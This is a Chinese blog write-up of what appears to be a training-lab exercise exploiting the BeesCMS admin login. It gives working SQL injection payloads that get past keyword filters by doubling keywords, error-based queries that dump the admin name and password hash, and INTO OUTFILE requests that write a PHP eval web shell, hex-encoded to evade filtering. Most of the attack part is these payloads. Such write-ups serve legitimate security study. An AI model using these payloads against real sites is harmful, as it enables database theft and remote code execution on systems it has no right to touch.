BeesCMS系统漏洞分析

Yolo山药

已于 2022-10-02 10:49:38 修改

阅读量2.3k

点赞数 3

分类专栏： cms题文章标签：安全 web安全数据库

于 2022-09-25 13:16:55 首次发布

本文链接：https://blog.csdn.net/weixin_47493074/article/details/127036497

版权

cms题专栏收录该内容

4 篇文章 0 订阅

订阅专栏

墨者学院
在这里插入图片描述
漏洞复现
进入首页，看到没什么问题，用kail字典birb扫下路径（发现管理页面）

看到输入框，尝试sql注入，发现有注入漏洞

既然存在报错信息，我们就尝试报错注入，经过尝试and也被过滤了，and用an and d代替，union用un union ion代替，select用selselectect代替：

报错注入

admin' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#

爆出数据库名为dees
在这里插入图片描述

爆表名：
发现from、where、=也被过滤了，等号用like代替

admin’ an and d extractvalue(1,concat(0x7e,(selselectect table_name fro from m information_schema.tables wh where ere table_schema like ‘dees’ limit 0,1),0x7e))#

在这里插入图片描述

爆字段

admin' an and d extractvalue(1,concat(0x7e,(selselectect column_name fro from m information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e))#

在这里插入图片描述
修改为limit 2,1

爆值

admin’ an and d extractvalue(1,concat(0x7e,(selselectect admin_name fro from m bees_admin limit 0,1),0x7e))#

在这里插入图片描述

admin’ an and d extractvalue(1,concat(0x7e,(selselectect admin_password fro from m bees_admin limit 0,1),0x7e))#

在这里插入图片描述
md5解密出来admin。

进入后发现没有什么可以动的东西，想起提示网站位于"/var/www/html/"目录下。

上传木马

那么都不用拿到账号密码了。。。。

user=admin' un union ion selselectect 1,2,3,4,5 i into nto outoutfilefile '/var/www/html/shell.php&password=1&code=abd5&submit=true&submit.x=60&submit.y=23

在这里插入图片描述
测试文件上传可

下面直接写入一句话木马：

user=admin' un union ion selselectect 1,<?php @eval($_REQUEST['ABC']);?>,3,4,5 i into nto outoutfilefile '/var/www/html/1.php'&password=12&code=f333&submit=true&submit.x=49&submit.y=30

发现并没有<>被过滤了
在这里插入图片描述
转成16进制

user=admin' un union ion selselectect 1,0x3c3f70687020406576616c28245f524551554553545b27414243275d293b3f3e,3,4,5 i into nto outoutfilefile
'/var/www/html/123.php'#&password=12&code=f333&submit=true&submit.x=49&submit.y=30

连接成功
在这里插入图片描述